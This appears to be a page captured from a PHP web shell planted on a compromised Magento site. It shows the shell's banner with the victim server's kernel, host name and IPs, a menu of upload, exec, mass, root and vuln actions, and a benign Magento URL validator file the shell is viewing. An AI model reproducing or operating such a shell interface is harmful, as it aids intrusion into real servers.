Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 18.117.107.40 | Time @ Server : 19 Oct 2024 05:25:07
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/webmaster/firofichi/www/vendor/magento/framework/Validator/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/webmaster/firofichi/www/vendor/magento/framework/Validator/Url.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Validator; /** * Class Url validates URL and checks that it has allowed scheme */ class Url { /** * Validate URL and check that it has allowed scheme * * @param string $value * @param array $allowedSchemes * @return bool */ public function isValid($value, array $allowedSchemes = []) { $isValid = true; if (!filter_var($value, FILTER_VALIDATE_URL)) { $isValid = false; } if ($isValid && !empty($allowedSchemes)) { $url = parse_url($value); if (empty($url['scheme']) || !in_array($url['scheme'], $allowedSchemes)) { $isValid = false; } } return $isValid; } }